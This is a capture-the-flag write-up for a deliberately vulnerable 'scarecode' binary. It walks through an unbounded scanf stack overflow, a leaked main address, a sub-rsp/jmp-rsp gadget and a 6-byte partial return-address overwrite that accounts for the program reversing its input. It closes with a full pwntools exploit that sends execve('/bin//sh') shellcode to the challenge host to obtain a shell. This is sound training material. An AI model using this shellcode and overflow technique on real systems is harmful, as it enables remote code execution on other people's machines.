flag.txtRunning the binary shows a looped prompt:
Two commands matter:
This strongly hints at a leak-then-overflow flow: leak an address via treat, then exploit trick.
After disassembly/RE, the important routines look like this:
void trick() { printf("Trick you say?, tell me your name\n"); char name[100]; scanf("%s", name); // unbounded read into 100-byte stack buffer size_t len = strlen(name); for (size_t i = 0; i < len / 2; i++) { char tmp = name[i]; name[i] = name[len - i - 1]; name[len - i - 1] = tmp; } printf("OOOoooo... %s ...\n", name);}
Key findings:
scanf("%s", name) is unsafe: no bound; it can overflow name and smash saved RIP.trick returns.The self-leak routine:
void treat() { printf("Have the address of main, as a treat! %p\n", main);}
And a handy two-instruction gadget compiled from an inline asm helper (you won’t know its symbol name in the stripped binary, but you can find the pattern):
void boo() { __asm__("sub $0x10, %rsp"); __asm__("jmp *%rsp");}
Main keeps prompting, letting us call treat and trick in any order:
int main() { printf("Welcome to Scarecode!\n"); while (1) { printf("Trick or treat? (q to quit)\n"); char input[100]; scanf("%99s", input); if (strcmp(input, "trick") == 0 || strcmp(input, "Trick") == 0 || strcmp(input, "TRICK") == 0) { trick(); } else if (strcmp(input, "treat") == 0 || strcmp(input, "Treat") == 0 || strcmp(input, "TREAT") == 0) { treat(); } else { printf("Neither trick nor treat, you say? Well, that's not very festive.\n"); return 1; } }}
treat to leak the runtime address of main.base = leak(main) - MAIN_OFFSET (I measured MAIN_OFFSET = 0x10e0 for my build; verify yours with RE).sub rsp, 0x10; jmp *%rsp (found at file VA offset 0x13e4 for me). The runtime address is jmp_rsp = base + 0x13e4.trick to replace saved RIP with jmp_rsp and place trampoline + shellcode on the stack.%s input forbids null bytes:scanf("%s", ...) stops at the first \x00; anything after a zero never reaches the stack.\x00 in their high bytes due to canonical addressing and PIE base alignment.We don’t need a full ROP chain. We just need the first controlled transfer to our own code on the stack. Two observations enable this:
%s-friendly data. The top two bytes remain as they were.p64(jmp_rsp)[:6] when building the payload. We then reverse those 6 bytes before sending so that after the program’s reversal, the in-memory order is the correct little-endian address.sub rsp, 0x10; jmp *%rsp.jmp short -0x64 (\xEB\x9C) so execution hops back into our NOP sled and shellcode.This approach neatly sidesteps the ROP chain problem: only one address must be placed (the gadget), and it’s feasible with a 6-byte partial overwrite that avoids nulls. Everything else is position-relative shellcode under our control.
Intended in-memory view at return (post-reversal):
[saved RIP] = address of sub rsp, 0x10; jmp *%rsp (our gadget)[%rsp] at gadget landing = jmp short -0x64 (2 bytes) to jump back[%rsp - 0x64] = NOP sled + sub rsp, 0x64 + execve("/bin//sh") shellcode + NOPsBecause trick reverses input, we pre-reverse both:
I also add sub rsp, 0x64 ahead of the execve shellcode to move the stack away from our own bytes so any pushes or writes don’t corrupt the code we’re executing.
treat.main_leak = int(hex_str, 16).base = main_leak - 0x10e0 (verify your MAIN_OFFSET).jmp_rsp = base + 0x13e4 (verify your gadget offset).sub rsp, 0x64 + 64-bit execve("/bin//sh") + NOPsjmp short -0x64 at the top landingp64(jmp_rsp)[:6], reverse those 6 bytes.[reversed 6-byte RIP] + [reversed shellcode] + [extra NOPs to fill]trick, then send the payload as the name.Once shell is up, cat flag.txt.
\x00 appears in the transmitted payload region that will be reversed; %s would stop early, and strlen would reduce the reversal range.main and using consistent build/remote binary ensures this.0x64) is arbitrary but convenient; keep it small and consistent.#!/usr/bin/env python3import pwnfrom pwn import *import sys# ConfigurationBINARY_PATH = "./scarecode"REMOTE_HOST = "kubenode.mctf.io"REMOTE_PORT = 31083context.binary = BINARY_PATHdef create_shellcode(): # Shellcode to jump backwards 100 bytes (0x64) # Assembly: # jmp short -0x64 # In bytes: \xeb\x9c jmp_backwards = b'\xeb\x9c' execve_shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" #https://www.exploit-db.com/exploits/46907 # Move stack down far away so that our push to the stack doesn't modify our code sub_rsp = asm('sub rsp, 0x64') execve_shellcode = sub_rsp + execve_shellcode #Add padding to our shellcode to help align everything complete_shellcode = b'\x90' * (100 - len(execve_shellcode)) + execve_shellcode + b'\x90' * (20 - len(jmp_backwards)) + jmp_backwards return complete_shellcodedef exploit(): # Load binary binary = ELF(BINARY_PATH) jmp_rsp = 0x13e4 #Found with ROPgadget, sub $0x10, %rsp; jmp *%rsp # Start process #p = process(BINARY_PATH, level='debug') p = remote(REMOTE_HOST, REMOTE_PORT, level='debug') try: # Step 1: Get main address leak print("[+] Getting main address leak...") p.sendlineafter(b"Trick or treat? (q to quit)\n", b"treat") leak_line = p.recvline() print(f"[+] Received: {leak_line}") # Parse the leak leak_str = leak_line.decode().split("Have the address of main, as a treat! ")[1].strip() main_addr = int(leak_str, 16) print(f"[+] Main address: {hex(main_addr)}") # Calculate binary base main_offset = 0x10e0 binary_base = main_addr - main_offset jmp_rsp = jmp_rsp + binary_base print(f"[+] Binary base: {hex(binary_base)}") print(f"[+] jmp *%rsp gadget address: {hex(jmp_rsp)}") # Step 2: Create payload print("[+] Creating payload...") shellcode = create_shellcode() shellcode = shellcode[::-1] print(f"[+] Reversed shellcode: {shellcode.hex()}") return_addr = p64(jmp_rsp)[:6][::-1] print(f"[+] return address: {return_addr.hex()}") payload = return_addr + shellcode + b'\x90' * (120 - len(shellcode)) print(f"[+] Payload length: {len(payload)}") # Step 3: Send payload print("[+] Sending payload...") p.sendlineafter(b"Trick or treat? (q to quit)\n", b"trick") p.sendline(payload) # Step 4: Interact print("[+] Attempting to get shell...") p.interactive() except Exception as e: print(f"[-] Error: {e}") return False finally: p.close() return Truedef main(): exploit()if __name__ == "__main__": main()